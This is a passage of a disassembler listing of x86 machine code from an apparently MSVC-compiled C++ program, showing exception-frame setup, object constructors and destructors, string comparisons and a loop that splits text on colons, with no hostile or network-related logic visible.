mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413BF0 loc_413C93: ; CODE XREF: sub_413B70+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413B70+26j ; sub_413B70+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413D40 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_413D40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413D60: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401861 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_40189Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014C9 mov ecx, ebp call sub_401CD0 xor ebx, ebx cmp eax, ebx jnz loc_413F8E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014C9 mov ecx, ebp call sub_402112 mov edi, eax cmp edi, ebx jz loc_413F8E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014C9 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_413F8E push offset byte_446F60 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413E87 lea ecx, [edi+2Ah] call sub_4017E4 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017E4 loc_413E56: ; CODE XREF: sub_413DA0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413E7A cmp cl, bl jz short loc_413E76 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413E7A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413E56 loc_413E76: ; CODE XREF: sub_413DA0+C0j xor eax, eax jmp short loc_413E7F ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413DA0+BCj ; sub_413DA0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413E7F: ; CODE XREF: sub_413DA0+D8j cmp eax, ebx jnz loc_413F8E loc_413E87: ; CODE XREF: sub_413DA0+A1j push offset byte_446F60 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413EE3 lea ecx, [edi+3Fh] call sub_4017E4 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017E4 loc_413EB2: ; CODE XREF: sub_413DA0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413ED6 cmp cl, bl jz short loc_413ED2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413ED6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413EB2 loc_413ED2: ; CODE XREF: sub_413DA0+11Cj xor eax, eax jmp short loc_413EDB ; --------------------------------------------------------------------------- loc_413ED6: ; CODE XREF: sub_413DA0+118j ; sub_413DA0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413EDB: ; CODE XREF: sub_413DA0+134j cmp eax, ebx jnz loc_413F8E loc_413EE3: ; CODE XREF: sub_413DA0+FAj push 58h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413F03 mov ecx, eax call sub_401D07 jmp short loc_413F05 ; --------------------------------------------------------------------------- loc_413F03: ; CODE XREF: sub_413DA0+158j xor eax, eax loc_413F05: ; CODE XREF: sub_413DA0+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40200E mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40200E lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401406 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_413FDB ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413DA0+44j ; sub_413DA0+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_413FDB: ; CODE XREF: sub_413DA0+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414090 proc near ; CODE XREF: sub_401D07j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: ___:00401DC0j push 0FFFFFFFFh push offset loc_439C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401861 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_40189D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414210 proc near ; CODE XREF: sub_401537j add ecx, 6Ch jmp sub_401C62 sub_414210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414230 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_4367FA sub_414230 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414273 mov ecx, eax call sub_401BE0 ; --------------------------------------------------------------------------- jmp short loc_414275 ; --------------------------------------------------------------------------- loc_414273: ; CODE XREF: ___:00414268j xor eax, eax loc_414275: ; CODE XREF: ___:00414271j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40200E mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40200E mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40200E mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40200E lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401EF1 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414360 proc near ; CODE XREF: sub_401BE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_401424 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414360 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414400: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_439CD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144D0 proc near ; CODE XREF: sub_401DACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4144D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E1F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jz short loc_414580 loc_414535: ; CODE XREF: sub_4144D0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_41455D lea ecx, [esp+18h+var_14] call sub_401FA5 mov edx, [eax] mov [esp+18h+var_10], edx loc_41455D: ; CODE XREF: sub_4144D0+7Cj lea ecx, [esp+18h+var_14] call sub_4020A4 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jnz short loc_414535 loc_414580: ; CODE XREF: sub_4144D0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_4145C8 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_4145A3 push 1 call sub_4019DD loc_4145A3: ; CODE XREF: sub_4144D0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_4144D0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4144D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_4019DDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402220 test [esp+4+arg_0], 1 jz short loc_414658 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414658: ; CODE XREF: sub_414640+Dj mov eax, esi pop esi retn 4 sub_414640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414670 proc near ; CODE XREF: sub_402220j jmp sub_401226 sub_414670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_439D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_443C84 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414759 loc_4146F3: ; CODE XREF: ___:00414757j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_443C84 ; ":" push esi push edx call sub_4016AE mov ecx, ebp call sub_401DAC cmp al, bl jnz short loc_414720 mov [esp+13h], bl loc_414720: ; CODE XREF: ___:0041471Aj inc esi push offset asc_443C84 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4146F3 loc_414759: ; CODE XREF: ___:004146F1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4147D0 proc near ; CODE XREF: sub_40210Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4147D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017E4 test eax, eax jz loc_414904 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402252 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_4148AE loc_414844: ; CODE XREF: sub_4147D0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B72 test eax, eax jz short loc_41487C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax jnz short loc_41488B loc_41487C: ; CODE XREF: sub_4147D0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41488B: ; CODE XREF: sub_4147D0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414844 loc_4148AE: ; CODE XREF: sub_4147D0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_414904 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_402130 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4148D1 push 1 call sub_4016FE loc_4148D1: ; CODE XREF: sub_4147D0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_4147D0+2Ej ; sub_4147D0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4147D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149A0 proc near ; CODE XREF: sub_4016FEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A5A test [esp+4+arg_0], 1 jz short loc_4149B8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4149B8: ; CODE XREF: sub_4149A0+Dj mov eax, esi pop esi retn 4 sub_4149A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149D0 proc near ; CODE XREF: sub_401A5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4149D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4149D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414A60: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_439D98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40210D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: ___:00401B31j push 0FFFFFFFFh push offset loc_439DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017E4 test eax, eax jz loc_414BF7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401983 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jz short loc_414BAF loc_414B64: ; CODE XREF: ___:00414BADj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_414B8C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414B8C: ; CODE XREF: ___:00414B7Bj lea ecx, [esp+4] call sub_4018B6 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jnz short loc_414B64 loc_414BAF: ; CODE XREF: ___:00414B62j mov eax, [esp+8] test eax, eax jz short loc_414BF7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414BD2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BC9j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414BF7: ; CODE XREF: ___:00414B1Ej ; ___:00414BB5j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414C70 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B45 sub_414C70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414C88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414C88: ; CODE XREF: ___:00414C7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414CA0 proc near ; CODE XREF: sub_401B45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414CA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401578 sub_414CA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D40 proc near ; CODE XREF: sub_4014BFj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414D40 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414E3B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014C9 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_446F60 call sub_401861 or ebx, 0FFFFFFFFh mov ecx, offset word_448C8E mov [esp+88h+var_4], ebx call sub_40210D test al, al jz loc_414F70 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019B5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414D40+36j lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F70 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_443600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_443600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_448C8E mov [esp+0D0h+var_4], ebx call sub_40189D test al, al jz short loc_414F70 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019B5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F70: ; CODE XREF: sub_414D40+82j ; sub_414D40+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414D40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415030 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401EBA sub_415030 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415070 proc near ; CODE XREF: sub_40171Cj arg_0 = dword ptr 4 